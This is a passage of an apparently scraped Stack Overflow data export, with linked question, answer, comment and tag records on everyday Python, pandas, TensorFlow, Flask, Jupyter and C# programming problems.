has body: I have this df and I want to sum with rolling (and not with groupby) dateTime 1min hour minute X EXPECTED Rolling_X 2017-09-19 02:00:04 2017-09-19 02:00:00 2 0 93 93 2017-09-19 02:00:04 2017-09-19 02:00:00 2 0 1 94 2017-09-19 02:00:04 2017-09-19 02:00:00 2 0 1 95 2017-09-19 02:00:04 2017-09-19 02:00:00 2 0 0 95 2017-09-19 02:00:04 2017-09-19 02:00:00 2 0 0 95 2017-09-19 02:00:22 2017-09-19 02:00:00 2 0 1 96 2017-09-19 02:00:22 2017-09-19 02:00:00 2 0 1 97 2017-09-19 02:00:22 2017-09-19 02:00:00 2 0 2 99 2017-09-19 02:00:58 2017-09-19 02:00:00 2 0 1 100 2017-09-19 02:00:58 2017-09-19 02:00:00 2 0 0 100 2017-09-19 02:01:00 2017-09-19 02:01:00 2 1 7 7 2017-09-19 02:01:00 2017-09-19 02:01:00 2 1 0 7 2017-09-19 02:01:00 2017-09-19 02:01:00 2 1 0 7 2017-09-19 02:01:31 2017-09-19 02:01:00 2 1 0 7 2017-09-19 02:01:31 2017-09-19 02:01:00 2 1 1 8 2017-09-19 02:01:32 2017-09-19 02:01:00 2 1 1 9 2017-09-19 02:01:34 2017-09-19 02:01:00 2 1 0 9 2017-09-19 02:01:35 2017-09-19 02:01:00 2 1 0 9 2017-09-19 02:01:35 2017-09-19 02:01:00 2 1 0 9 2017-09-19 02:01:39 2017-09-19 02:01:00 2 1 1 10 2017-09-19 02:01:58 2017-09-19 02:01:00 2 1 2 12 2017-09-19 02:01:58 2017-09-19 02:01:00 2 1 0 12 2017-09-19 02:02:02 2017-09-19 02:02:00 2 2 3 3 2017-09-19 02:02:32 2017-09-19 02:02:00 2 2 0 3 2017-09-19 02:02:32 2017-09-19 02:02:00 2 2 1 4 2017-09-19 02:02:40 2017-09-19 02:02:00 2 2 0 4 2017-09-19 02:02:41 2017-09-19 02:02:00 2 2 0 4 2017-09-19 02:02:44 2017-09-19 02:02:00 2 2 1 5 2017-09-19 02:02:53 2017-09-19 02:02:00 2 2 1 6 2017-09-19 02:03:00 2017-09-19 02:03:00 2 3 1 1 2017-09-19 02:03:00 2017-09-19 02:03:00 2 3 1 2 2017-09-19 02:03:05 2017-09-19 02:03:00 2 3 1 3 2017-09-19 02:03:06 2017-09-19 02:03:00 2 3 0 3 The problem is I need the rolling sum per minute so the question is: how do I reset the rolling sum based on a change in the minutes? df.X.cumsum() how do I add there the reset? thanks! edited: something like here
tagged with: python

http://stackoverflow.com/comment/86205127
type: QuestionComment
comment on: http://stackoverflow.com/q/49595740
has text: @Georgy The error has gone now , I don't remember how , but now I have another problem that The ARIMA model is not well fitted with the data.
score: 1
type: Comment

http://stackoverflow.com/a/74143237
answers question: http://stackoverflow.com/q/49538185
score: 2
upvote count: 2
downvote count: 0
has body: It is also used to normalize distributions. Some distributions are log-normal, and this function will help to normalize the data you're working with. data["Log1pSalary"] = np.log1p(data["SalaryNormalized"]).astype("float32") plt.figure(figsize=[8, 4]) plt.subplot(1, 2, 1) plt.hist(data["SalaryNormalized"], bins=20) plt.subplot(1, 2, 2) plt.hist(data["Log1pSalary"], bins=20) plt.show()
type: Answer

http://stackoverflow.com/comment/86181216
has text: @AndreasForslöw However, I think you just want to visualise a plain neural network. You've told your neural network to look at some pixels and decide an output. It may only look at minute details, for example whether there's a line, it might say that's a one. The problem arises when you try is that it only cares about that line. The image might actually just be noise, except you that noise. The NN doesn't care; that's not it's job. In the past people have used derivatives to reform the input and it has always resulted in noise.
type: AnswerComment
comment on: http://stackoverflow.com/a/49576555
score: 0
type: Comment

http://stackoverflow.com/q/49524626
has comment: http://stackoverflow.com/comment/125288026
answer count: 1
score: 16
tagged with: ipython
tagged with: jupyter-notebook
favorite count: 0
type: Question
has comment: http://stackoverflow.com/comment/121110338
has body: I'm trying to figure out a way to "save" the variables in a jupyter notebook but also capture the rich output at the same time. Mainly for reasons of ssh disconnecting, etc. Just assigning to variables doens't work since some of the libraries print information like progress bars. So far the most promising way is to use %%capture however seems in recent versions that just captures the output and doesn't output while the browser session is active. Ideally I'm looking for a solution that does both, if the browser session is active print out the output, but if for whatever reason it gets interrupted, I can dump the captured output later.
has answer: http://stackoverflow.com/a/70870733
type: UnansweredQuestion
upvote count: 16
tagged with: python
downvote count: 0
has title: Jupyter notebook show and capture output at the same time
has comment: http://stackoverflow.com/comment/118863862

http://stackoverflow.com/comment/85925308
type: Comment
score: 0
comment on: http://stackoverflow.com/q/49461143
type: QuestionComment
has text: Did r.text work?

http://stackoverflow.com/comment/85898643
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/49448417
score: 0
has text: Possible duplicate of [mayavi mlab.savefig() gives an empty image](https://stackoverflow.com/questions/16543634/mayavi-mlab-savefig-gives-an-empty-image)

http://stackoverflow.com/q/49536926
favorite count: 0
type: Question
tagged with: python
tagged with: flask
has body: I have a flask application, with so far only one html page, with a layout.html page as a template. Here is the syntax: {%extends "layout.html"} {% block content %} Discover places near you. Sign up Learn more {% endblock %} here is my template.html Learning Flask {% block content %} {% endblock %} it returns an error templatesyntaxerror unexpected '}' I can't see where it should be, that is giving an error
type: AnsweredQuestion
score: 0
upvote count: 1
answer count: 1
downvote count: 1
tagged with: web
has answer: http://stackoverflow.com/a/49537027
accepted answer: http://stackoverflow.com/a/49537027
has title: TemplateSyntaxError in flask

http://stackoverflow.com/comment/85885407
has text: Try to give more details and attempts: https://stackoverflow.com/help/how-to-ask
score: 0
comment on: http://stackoverflow.com/q/49440520
type: Comment
type: QuestionComment

javascript
tags question: http://stackoverflow.com/q/49590870
tags question: http://stackoverflow.com/q/49457209
tags question: http://stackoverflow.com/q/49465523
tags question: http://stackoverflow.com/q/49488120
tags question: http://stackoverflow.com/q/49465854
tags question: http://stackoverflow.com/q/49444719
tags question: http://stackoverflow.com/q/49456680
tags question: http://stackoverflow.com/q/49494667
tags question: http://stackoverflow.com/q/49489850
tags question: http://stackoverflow.com/q/49579989
tag name: javascript
tags question: http://stackoverflow.com/q/49456419
tags question: http://stackoverflow.com/q/49491438
tags question: http://stackoverflow.com/q/49588021
tags question: http://stackoverflow.com/q/49464690
tags question: http://stackoverflow.com/q/49476252
tags question: http://stackoverflow.com/q/49572810
tags question: http://stackoverflow.com/q/49460713
tags question: http://stackoverflow.com/q/49560001
tags question: http://stackoverflow.com/q/49513344
tags question: http://stackoverflow.com/q/49582631
tags question: http://stackoverflow.com/q/49561611
tags question: http://stackoverflow.com/q/49445836
tags question: http://stackoverflow.com/q/49452341
tags question: http://stackoverflow.com/q/49504902
type: Tag
tags question: http://stackoverflow.com/q/49458277
tags question: http://stackoverflow.com/q/49512468

http://stackoverflow.com/a/49532048
answers question: http://stackoverflow.com/q/49530544
has body: Part I: " Is there something wrong in my code? " : No, the ZeroMQ use-case code seems trouble-free. Feel free to add as many debugging tracepoints into the MCVE-source as needed on the hunt, so as to document in detail, where it gets and what actual ZMQError() gets reported on the fly: [ 'EADDRINUSE', # L3 'EADDRNOTAVAIL', # L3 'ECONNREFUSED', # L3 'ENETDOWN', # L1 / L2 / L3 'ENODEV', # L1 'EFAULT', 'EFSM', # ZMQ Finite State Machine not in a state to obey this 'EAGAIN', # ZMQ Context() blocked 'EINPROGRESS', 'EINVAL', # ZMQ did not recognise a valid value in param 'EMTHREAD', 'ENOBUFS', # resources 'ENOMEM', # resources 'ENOCOMPATPROTO', # ZMQ protocol-handshaking 'EPROTONOSUPPORT', # ZMQ protocol 'ENOTSOCK', # ZMQ resource - not recognised as an "own" socket 'ENOTSUP', # ZMQ cannot support a request 'ETERM', # ZMQ Context() already entered into a .term()-state ... ] Part II: " How could I adjust my setting in AWS? " : This part is a bit tricky. First, consult your contracted parameters. If AWS operator does not permit you to initiate TCP/IP-services among instances, no other step but a contract renegotiation ( selecting other, less restricted product ) may help. In case TCP/IP-services are not blocked, consult with the AWS operator Support line, what port-numbers are permitted on respective instances. Operating system, besides the operator policies mentioned above, may have some further restricted port-number ranges and if your application uses an O/S-blocked &lt;transport-class&gt;://&lt;address&gt;:&lt;port#&gt; ( being == 1111 in the use-case MCVE above ), any attempt will systematically fail right due to attempt to use a forbidden resource ( changing the &lt;port#&gt; being the easiest remedy, isn't it? ). For any other cases, the ZMQError will help you diagnose the root-cause of the operations blocked. Feel free to add as many debugging tracepoints as needed on the hunt.
type: Answer
upvote count: 1
score: 1
downvote count: 0

http://stackoverflow.com/a/49592979
has comment: http://stackoverflow.com/comment/86193576
score: 0
has body: If you want to round the number down to the 4th decimal place rather than round it to the nearest possibility, you could do the rounding yourself. x = int(x * 10**4) / 10**4 print("{:.4f}".format(x)) This gives you 4.3588 Multiplying and later dividing by 10**4 shifts the number 4 decimal places, and the int function rounds down to an integer. Combining them all accomplishes what you want. There are some edge cases that will give an unexpected result due to floating point issues, but those will be rare.
type: AcceptedAnswer
has comment: http://stackoverflow.com/comment/86193615
accepted answer of: http://stackoverflow.com/q/49592945
type: Answer
answers question: http://stackoverflow.com/q/49592945

http://stackoverflow.com/q/49593985
tagged with: machine-learning
tagged with: tensorflow
has comment: http://stackoverflow.com/comment/86195494
type: AnsweredQuestion
has answer: http://stackoverflow.com/a/49594057
score: 0
has comment: http://stackoverflow.com/comment/86195548
has title: Neural Network - Input Normalization
has body: It is a common practice to normalize input values (to a neural network) to speed up the learning process, especially if features have very large scales. In its theory, normalization is easy to understand. But I wonder how this is done if the training data set is very large, say for 1 million training examples..? If # features per training example is large as well (say, 100 features per training example), 2 problems pop up all of a sudden: - It will take some time to normalize all training samples - Normalized training examples need to be saved somewhere, so that we need to double the necessary disk space (especially if we do not want to overwrite the original data). How is input normalization solved in practice, especially if the data set is very large? One option maybe is to normalize inputs dynamically in the memory per mini batch while training.. But normalization results will then be changing from one mini batch to another. Would it be tolerable then? There is maybe someone in this platform having hands on experience on this question. I would really appreciate if you could share your experiences. Thank you in advance.
tagged with: python
accepted answer: http://stackoverflow.com/a/49594057
type: Question
tagged with: deep-learning
answer count: 1
tagged with: neural-network

http://stackoverflow.com/q/49594876
score: 1
tagged with: python
favorite count: 0
has comment: http://stackoverflow.com/comment/86197335
has comment: http://stackoverflow.com/comment/86197314
type: Question
answer count: 0
upvote count: 1
type: UnansweredQuestion
has title: Checking uploaded files
tagged with: django
has body: My django application uploads all files to my Amazon s3 storage bucket. So is there any reason for me to write code that cross-checks uploaded files to make sure they are not malicious? As an uploaded script in my s3 bucket can't really do any damage. The uploads are done via URLField or FileField (integrated with AJAX).
downvote count: 0
tagged with: amazon-s3

http://stackoverflow.com/q/49582373
tagged with: io-redirection
has title: C# Code Launches A Process, Redirects stdin/stdout, Subsequent ReadLine() From stdout Fails
type: Question
tagged with: c#
score: 0
tagged with: python
has body: I have C# code that is launching a process that happens to be a python interpreter running a script. The goal is to redirect stdin and stdout of that interpreter as a means of interprocess communication with the script. The code is as follows: String py_path = @"C:\Anaconda3\python.exe"; String script_path = @"&lt;python script&gt;"; String working_dir = @"&lt;directory of python script&gt;"; // Create new process start info ProcessStartInfo myProcessStartInfo = new ProcessStartInfo(py_path); // redirect standard in and out myProcessStartInfo.UseShellExecute = false; myProcessStartInfo.RedirectStandardOutput = true; myProcessStartInfo.RedirectStandardInput = true; myProcessStartInfo.Arguments = script_path; myProcessStartInfo.WorkingDirectory = working_dir; Process myProcess = new Process(); // assign start information to the process myProcess.StartInfo = myProcessStartInfo; // start process myProcess.Start(); //read one line from stdout StreamReader myStreamReader = myProcess.StandardOutput; String return_value_1 = myStreamReader.ReadLine(); if(return_value1 == null) Print("Null return value"); else Print(return_value1); This code fails (return_value1 is null) even though the first thing the python script does is printing a line on stdout. However, if I comment out the redirection of standard input (which is otherwise untouched in this example) as follows: String py_path = @"C:\Anaconda3\python.exe"; String script_path = @"&lt;python script&gt;"; String working_dir = @"&lt;directory of python script&gt;"; // Create new process start info ProcessStartInfo myProcessStartInfo = new ProcessStartInfo(py_path); // redirect standard in and out myProcessStartInfo.UseShellExecute = false; myProcessStartInfo.RedirectStandardOutput = true; //myProcessStartInfo.RedirectStandardInput = true; myProcessStartInfo.Arguments = script_path; myProcessStartInfo.WorkingDirectory = working_dir; Process myProcess = new Process(); // assign start information to the process myProcess.StartI…
type: UnansweredQuestion
answer count: 1
has answer: http://stackoverflow.com/a/49583083

http://stackoverflow.com/comment/85951587
score: 0
type: AnswerComment
comment on: http://stackoverflow.com/a/49466921
has text: @prashantdhyani you can refer to this information https://stackoverflow.com/help/someone-answers
type: Comment

http://stackoverflow.com/a/49443405
type: Answer
has body: A little supplement: &gt;&gt;&gt; np.std([0.69540462, 0.69316025, 0.69312703, 0.69315372, 0.69205549, 0.69423771]) 0.0010511610420810475 this measures how much the sequence is close to a constant sequence.
answers question: http://stackoverflow.com/q/49443126
score: 0

http://stackoverflow.com/comment/125041092
comment on: http://stackoverflow.com/q/49529299
type: QuestionComment
type: Comment
score: 0
has text: I voted to reopen, because the given link does not answer this particular question about duplicated IDs. None of the answers there mentions this problem. One of the answers (with `prefix=...`) solves it correctly, but as I said, without mentioning it, so the reader looking for an answer cannot know.

http://stackoverflow.com/q/49474467
has comment: http://stackoverflow.com/comment/85951616
tagged with: machine-learning
tagged with: python
tagged with: computer-vision
type: AnsweredQuestion
has title: export Keras model to .pb file and optimize for inference gives random guess on Android
accepted answer: http://stackoverflow.com/a/49582776
has comment: http://stackoverflow.com/comment/85952955
has answer: http://stackoverflow.com/a/49582776
answer count: 1
downvote count: 0
has body: I am developing an android application for the purpose of age and gender recognition. I have found a useful model in GitHub. They are building a Keras model (tensorflow backend) based on a first-place winning paper. They have provided python modules to train and build the network, already trained weights file to download and work with, and a working demo on web cam. I want to convert their model, in the demo, with the provided weights to .pb file so that it is executable on android as well. I used this code to convert with minor model-dependent modifications: from keras.models import Sequential from keras.models import model_from_json from keras import backend as K import tensorflow as tf from tensorflow.python.tools import freeze_graph import os # Load existing model. with open("model.json",'r') as f: modelJSON = f.read() model = model_from_json(modelJSON) model.load_weights("weights.18-4.06.hdf5") print(model.summary()) # All new operations will be in test mode from now on. K.set_learning_phase(0) # Serialize the model and get its weights, for quick re-building. config = model.get_config() weights = model.get_weights() # Re-build a model where the learning phase is now hard-coded to 0. #new_model = model.from_config(config) #new_model.set_weights(weights) temp_dir = "graph" checkpoint_prefix = os.path.join(temp_dir, "saved_checkpoint") checkpoint_state_name = "checkpoint_state" input_graph_name = "input_graph.pb" output_graph_name = "output_graph.pb" # Temporary save graph to disk without weights included. saver = tf.train.Saver() checkpoint_path = saver.save(K.get_session(), checkpoint_prefix, global_step=0, latest_filename=checkpoint_state_name) tf.train.write_graph(K.get_session().graph, temp_dir, input_graph_name) input_graph_path = os.path.join(temp_dir, input_graph_name) input_saver_def_path = "" input_binary = False output_node_names = "dense_1/Softmax,dense_2/Softmax" # model dependent restore_op_name = "save/restore_all" filename_tensor_name = "save/Const…
has comment: http://stackoverflow.com/comment/85952498
tagged with: keras
tagged with: tensorflow
favorite count: 0
type: Question
has comment: http://stackoverflow.com/comment/85952574
score: 5
linked to: http://stackoverflow.com/q/48571112
upvote count: 5

http://stackoverflow.com/q/49592196
downvote count: 0
has body: I'm trying to create a deep NN for mnist. I understand the training part but I've very confused about how to make actual predictions after restoring a pre-trained model. Here's my code: import tensorflow as tf from tensorflow.examples.tutorials.mnist import input_data mnist = input_data.read_data_sets('tmp/data/', one_hot=True) n_nodes_hl1 = n_nodes_hl2 = n_nodes_hl3 = 500 n_classes, batch_size = 10, 100 x = tf.placeholder(tf.float32, shape=(None, 784)) y = tf.placeholder(tf.float32) def DeepNN_model(data): hl1 = { 'weights': tf.Variable(tf.random_normal([784, n_nodes_hl1])), 'biases': tf.Variable(tf.random_normal([n_nodes_hl1])) } hl2 = { 'weights': tf.Variable(tf.random_normal([n_nodes_hl1, n_nodes_hl2])), 'biases': tf.Variable(tf.random_normal([n_nodes_hl2])) } hl3 = { 'weights': tf.Variable(tf.random_normal([n_nodes_hl2, n_nodes_hl3])), 'biases': tf.Variable(tf.random_normal([n_nodes_hl3])) } output_layer = { 'weights': tf.Variable(tf.random_normal([n_nodes_hl3, n_classes])), 'biases': tf.Variable(tf.random_normal([n_classes])) } # (input * weights) + biases l1 = tf.add(tf.matmul(data, hl1['weights']), hl1['biases']) l1 = tf.nn.relu(l1) l2 = tf.add(tf.matmul(l1, hl2['weights']), hl2['biases']) l2 = tf.nn.relu(l2) l3 = tf.add(tf.matmul(l2, hl3['weights']), hl3['biases']) l3 = tf.nn.relu(l3) output = tf.add(tf.matmul(l3, output_layer['weights']), output_layer['biases']) return output def train_DeepNN(x): # treat these like defs prediction = DeepNN_model(x) cost = tf.reduce_mean(tf.nn.softmax_cross_entropy_with_logits(logits=prediction, labels=y)) optimizer = tf.train.AdamOptimizer().minimize(cost) # feedforward + backprop n_epochs = 10 with tf.Session() as sess: sess.run(tf.global_variables_initializer()) for epoch in range(n_epochs): epoch_loss = 0 for _ in range(int(mnist.train.num_examples/batch_size)): epoch_x, epoch_y = mnist.train.next_batch(batch_size) _, cost_value = sess.run([optimizer, cost], feed_dict={x: epoch_x, y: epoch_y}) epoch_loss += cost_value p…
has title: Predictions using Tensorflow, MNIST
tagged with: tensorflow
favorite count: 0
type: Question
type: UnansweredQuestion
upvote count: 1
tagged with: python
answer count: 0
score: 1
tagged with: mnist

http://stackoverflow.com/comment/86013215
score: 0
type: QuestionComment
has text: Yes, I am fairly sure that the sharing of the port is correct because the connection is independent of the MAC OS- or at least that is what I believe. Do you know how I would test the sharing of the port? I have tested the port on a windows computer and it worked.
type: Comment
comment on: http://stackoverflow.com/q/49503129

http://stackoverflow.com/comment/86055615
comment on: http://stackoverflow.com/q/49524664
type: QuestionComment
score: 0
has text: @OmarEinea, But its not working on my ubuntu
type: Comment

http://stackoverflow.com/comment/85995426
comment on: http://stackoverflow.com/q/49494451
has text: the ```r/2``` seems strange to me as well. That's one thing I don't understand. As for your 2nd comment, I don't think so, if they overlap, ```checkBallPositions``` doesn't zero their velocities (which are randomly initialized), so will un-overlap at some point.
score: 0
type: Comment
type: QuestionComment

http://stackoverflow.com/comment/86052639
comment on: http://stackoverflow.com/a/49523336
score: 0
type: AnswerComment
has text: In this case, I think it's clear enough what's happening. I can't be 100% certain because the OP did not supply the value of `totaltime`, but I'm confident enough I can help them out without getting too, too pedantic about it.
type: Comment

http://stackoverflow.com/a/49455205
has comment: http://stackoverflow.com/comment/85925465
has comment: http://stackoverflow.com/comment/85935041
upvote count: 2
downvote count: 0
has comment: http://stackoverflow.com/comment/85914502
type: AcceptedAnswer
type: Answer
has comment: http://stackoverflow.com/comment/85936911
has comment: http://stackoverflow.com/comment/85925625
has comment: http://stackoverflow.com/comment/85933151
score: 2
accepted answer of: http://stackoverflow.com/q/49453373
has comment: http://stackoverflow.com/comment/85915638
has body: You are creating separate apps for each screen. Instead, all you need is ScreenManager. Here is a simple example for you to see how ScreenManager works: class PgBrowser(Screen): # Builder.load_file("browser.kv") def on_pre_enter(self, *args): filechooser = FileChooserIconView(path=os.path.expanduser('~'), size=(self.width, self.height), pos_hint={"center_x": .5, "center_y": .5}) filechooser.bind(on_submit=self.on_selected) self.add_widget(filechooser) def on_selected(self, widget_name, file_path, mouse_pos): print "Selected: %s" % file_path[0] class PgSplash(Screen): # Builder.load_file("splash.kv") def skip(self, dt): screen.switch_to(pages[1]) def on_enter(self, *args): Clock.schedule_once(self.skip, 2) print "Wait..." pages = [PgSplash(name="PgSplash"), PgBrowser(name="PgBrowser")] screen = ScreenManager() screen.add_widget(pages[0]) class myApp(App): def build(self): screen.current = "PgSplash" return screen myApp().run()
answers question: http://stackoverflow.com/q/49453373

http://stackoverflow.com/a/49494968
type: Answer
has comment: http://stackoverflow.com/comment/85993899
upvote count: 4
has body: Move pdf_writer = PdfFileWriter() into the loop body. from PyPDF2 import PdfFileReader, PdfFileWriter pdf_file = open('Sample.pdf','rb') pdf_reader = PdfFileReader(pdf_file) pageNumbers = pdf_reader.getNumPages() for i in range (pageNumbers): pdf_writer = PdfFileWriter() pdf_writer.addPage(pdf_reader.getPage(i)) split_motive = open('Sample_' + str(i+1) + '.pdf','wb') pdf_writer.write(split_motive) split_motive.close() pdf_file.close()
downvote count: 0
score: 4
has comment: http://stackoverflow.com/comment/86003068
answers question: http://stackoverflow.com/q/49494860
has comment: http://stackoverflow.com/comment/86065113

python-asyncio
tags question: http://stackoverflow.com/q/49533612
tags question: http://stackoverflow.com/q/49491531
tags question: http://stackoverflow.com/q/49569283
tags question: http://stackoverflow.com/q/49494299
tags question: http://stackoverflow.com/q/49502165
tags question: http://stackoverflow.com/q/49482969
tags question: http://stackoverflow.com/q/49532536
tags question: http://stackoverflow.com/q/49526027
tags question: http://stackoverflow.com/q/49589618
tags question: http://stackoverflow.com/q/49584561
tags question: http://stackoverflow.com/q/49574110
tags question: http://stackoverflow.com/q/49488135
tags question: http://stackoverflow.com/q/49586869
tag name: python-asyncio
type: Tag
tags question: http://stackoverflow.com/q/49477732
tags question: http://stackoverflow.com/q/49501263
tags question: http://stackoverflow.com/q/49519186

http://stackoverflow.com/comment/85961955
score: 0
type: AnswerComment
type: Comment
comment on: http://stackoverflow.com/a/49479389
has text: Thanks! Didn't know about the gt method. By the way, what is the reason why (Row4, N4) returns False? I noticed it did the same for my function, but 10 should be greater than 4.

http://stackoverflow.com/comment/85898830
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/49448515
has text: try to store this nltk.corpus.stopwords.words('english') into list and perform with list. because if you call vocal method n times it stopwords calculated n times. this might improve your performance
score: 0

http://stackoverflow.com/q/49517217
tagged with: python
has answer: http://stackoverflow.com/a/49517446
score: 0
tagged with: subprocess
has body: I'm working on a script that should call an external executable file, which takes a path as an argument(and generates another file). I used the following syntax: call(['C:/program.exe', 'C:/input.txt']) It should generate an output.txt in the same directory. My problem is that I don't get any output, or error message. If I run that command manually in cmd, everything works fine. How can I solve this?
answer count: 1
has title: Passing absolute paths to subprocess.call() [Python]
has comment: http://stackoverflow.com/comment/86048349
type: Question
has comment: http://stackoverflow.com/comment/86040896
type: UnansweredQuestion

http://stackoverflow.com/comment/86090339
score: 0
type: Comment
comment on: http://stackoverflow.com/a/49541389
type: AnswerComment
has text: Thanks, this worked! I will try to solve the second part of the puzzle now :)

http://stackoverflow.com/comment/85906521
type: AnswerComment
has text: There's a difference between *forbidding* variable declarations beforehand and *not requiring* them. For the latter… *cough* PHP *cough* (to some degree)
comment on: http://stackoverflow.com/a/49451918
type: Comment
score: 3

http://stackoverflow.com/q/49526528
has answer: http://stackoverflow.com/a/49526594
downvote count: 0
score: 1
upvote count: 1
answer count: 1
has title: Proper way to use try and except with multiple with opens
favorite count: 0
type: Question
tagged with: python-3.x
type: UnansweredQuestion
tagged with: python
has body: I have a log.csv and db.csv file. If they both contain the same number, nothing happens. If db.csv has a larger number, log.csv will be updated with the same number as db.csv My current code notifies which file is missing if it does not exist. Is this the proper way to use try and except? Or should I be using a try and except for every single 'with open' statement? import time import os def locate(): while True: time.sleep(8) try: with open("log.csv", "rb") as f: # Open local log for read for number in f: log_number = number with open("db.csv", "rb") as f2: # Open db for write # Will read database here for first_line in f2: db_number = first_line if db_number &gt; log_number: print ("We have a new winner!") with open("log.csv", "wb") as f: f.write(db_number) break else: print ("Number is the same.") break except OSError as e: print (e) break locate()

http://stackoverflow.com/q/49453190
linked to: http://stackoverflow.com/q/40449024
type: Question
tagged with: interpolation
linked to: http://stackoverflow.com/q/20915502
answer count: 2
type: UnansweredQuestion
downvote count: 0
tagged with: python
has answer: http://stackoverflow.com/a/49456495
score: 3
upvote count: 3
has title: interpolate.griddata results inconsistent
has body: I am converting some code from Matlab to Python and found that I was getting different results from scipy.interpolate.griddata than from Matlab scatteredInterpolant. After much research and experimentation I found that the interplation results from scipy.interpolate.griddata seem to depend on the size of the data set provided. There seem to be thresholds that cause the interpolated value to change. Is this a bug? OR Can someone explain the algorithm used that would cause this. Here is code that demonstrates the problem. import numpy as np from scipy import interpolate # This code provides a simple example showing that the interpolated value # for the same location changes depending on the size of the input data set. # Results of this example show that the interpolated value changes # at repeat 10 and 300. def compute_missing_value(data): """Compute the missing value example function.""" # Indices for valid x, y, and z data # In this example x and y are simply the column and row indices valid_rows, valid_cols = np.where(np.isnan(data) == False) valid_data = data[np.isnan(data) == False] interpolated_value = interpolate.griddata(np.array((valid_rows, valid_cols)).T, valid_data, (2, 2), method='linear') print('Size=', data.shape,' Value:', interpolated_value) # Sample data data = np.array([[0.2154, 0.1456, 0.1058, 0.1918], [-0.0398, 0.2238, -0.0576, 0.3841], [0.2485, 0.2644, 0.2639, 0.1345], [0.2161, 0.1913, 0.2036, 0.1462], [0.0540, 0.3310, 0.3674, 0.2862]]) # Larger data sets are created by tiling the original data. # The location of the invalid data to be interpolated is maintained at 2,2 repeat_list =[1, 9, 10, 11, 30, 100, 300] for repeat in repeat_list: new_data = np.tile(data, (1, repeat)) new_data[2,2] = np.nan compute_missing_value(new_data) The results are: Size= (5, 4) Value: 0.07300000000000001 Size= (5, 36) Value: 0.07300000000000001 Size= (5, 40) Value: 0.19945000000000002 Size= (5, 44) Value: 0.07300000000000001 Size= (5, 120) Value: 0.07300000000000001 …
has answer: http://stackoverflow.com/a/49456480
tagged with: scipy
favorite count: 0

http://stackoverflow.com/comment/86095147
type: AnswerComment
has text: Oh, and if the letters show up backwards, just start at 'z' and `-=` down to 'a' in the helper function. Possibility due to the depth first recursion.
comment on: http://stackoverflow.com/a/49543185
type: Comment
score: 0

http://stackoverflow.com/q/49506557
type: AnsweredQuestion
has title: Number of graphs plotted using matplotlib in python
has body: I was confused with the usage of plt.plot() multiple times. According to my thinking, each call of 'plt.plot()' should plot a different graph. But in the below code it only creates 2 plots. Is it because the functions are plotted in the same graph if they have the same x-values? If so, how would someone create a separate graph with same x-values? Thanks plt.plot(x_vals, y_vals,'o',label='Data Points') plt.plot(x_vals, best_fit, 'r-', label='SVM Regression Line',linewidth=3) plt.plot(x_vals, best_fit_upper, 'r--', linewidth=2) plt.plot(x_vals, best_fit_lower, 'r--', linewidth=2) plt.ylim([0,10]) plt.legend(loc='lower right') plt.title('Sepal Length vs Pedal Width') plt.xlabel('Pedal Width') plt.ylabel('Sepal Length') plt.show() plt.plot(train_loss,'k--',label='Train Set Loss') plt.plot(test_loss,'r--',label='Test Set Loss') plt.title('L2 Loss per Generation') plt.xlabel('Generation') plt.ylabel('L2 Loss') plt.legend(loc='upper right') plt.show()
accepted answer: http://stackoverflow.com/a/49507233
tagged with: data-visualization
tagged with: matplotlib
has answer: http://stackoverflow.com/a/49507233
tagged with: python
type: Question
score: 0
answer count: 1
upvote count: 1
downvote count: 1
favorite count: 0
tagged with: plot

http://stackoverflow.com/q/49458884
type: Question
tagged with: python-3.x
tagged with: jupyter-lab
tagged with: python
tagged with: python-3.6
tagged with: jupyter-notebook
has answer: http://stackoverflow.com/a/49462080
type: AnsweredQuestion
has body: I can't figure out why jupyter-lab is not working. something is broken and don't know where. I have searched the web for this and can't find a solution. COuld you please help. Appreciate it. E:\gitrepos>jupyter lab `Traceback (most recent call last): File "E:\anaconda3\Scripts\jupyter-lab-script.py", line 3, in &lt;module&gt; import jupyterlab.labapp File "E:\anaconda3\lib\site-packages\jupyterlab\labapp.py", line 7, in &lt;module&gt; from notebook.notebookapp import NotebookApp, aliases, flags File "C:\Users\Dario.Romero\AppData\Roaming\Python\Python35\site-packages\notebook\notebookapp.py", line 78, in &lt;module&gt; from .services.kernels.kernelmanager import MappingKernelManager File "C:\Users\Dario.Romero\AppData\Roaming\Python\Python35\site-packages\notebook\services\kernels\kernelmanager.py", line 19, in &lt;module&gt; from jupyter_client.session import Session File "E:\anaconda3\lib\site-packages\jupyter_client\session.py", line 61, in &lt;module&gt; from jupyter_client.jsonutil import extract_dates, squash_dates, date_default File "E:\anaconda3\lib\site-packages\jupyter_client\jsonutil.py", line 11, in &lt;module&gt; from dateutil.parser import parse as _dateutil_parse ImportError: No module named 'dateutil.parser'`
score: 0
answer count: 1
accepted answer: http://stackoverflow.com/a/49462080
has title: jupyter lab is broken how can I fix it?

http://stackoverflow.com/comment/86203411
score: 0
type: Comment
has text: @OscarBenjamin - if I plot it with `imshow`, I have to align and resize the colorbar manually (see the commented lines in the example), and it still isn't perfect.
type: QuestionComment
comment on: http://stackoverflow.com/q/49593997

http://stackoverflow.com/q/49596159
tagged with: python
linked to: http://stackoverflow.com/q/32826565
has body: I'm new to python and currently i'm working with project which requires to analyse emojis in user comments. Their I need to replace emojis in a string with their unicode values. Here is my code import re RE_EMOJI = re.compile('[\U00010000-\U0010ffff]', flags=re.UNICODE) def strip_emoji(text): return RE_EMOJI.sub(r'', text) print(strip_emoji('hi ')) Sample output hi This code removes the emojis on string, But I need to replace them with their unicode value. Expected output hi U0001F600 U0001F601
tagged with: regex
has comment: http://stackoverflow.com/comment/86199741
type: Question
tagged with: python-3.x
has comment: http://stackoverflow.com/comment/86199608
has title: Need to replace emoji characters with their Unicode value
answer count: 0
duplicate of: http://stackoverflow.com/q/32826565
downvote count: 0
upvote count: 1
type: UnansweredQuestion
score: 1
tagged with: emoji
tagged with: unicode
favorite count: 0

http://stackoverflow.com/a/49551988
upvote count: 1
type: Answer
has body: Try pip3 install django==2.0.3. You are installing package for Python 3.x , so I guess that could be an issue
score: 1
downvote count: 0
answers question: http://stackoverflow.com/q/49551707

http://stackoverflow.com/comment/85975855
comment on: http://stackoverflow.com/a/49486629
score: 0
has text: yes i have added it in INSTALLED_APPS and it contains the init.py
type: Comment
type: AnswerComment

http://stackoverflow.com/comment/85899184
comment on: http://stackoverflow.com/a/49448017
type: Comment
score: 0
type: AnswerComment
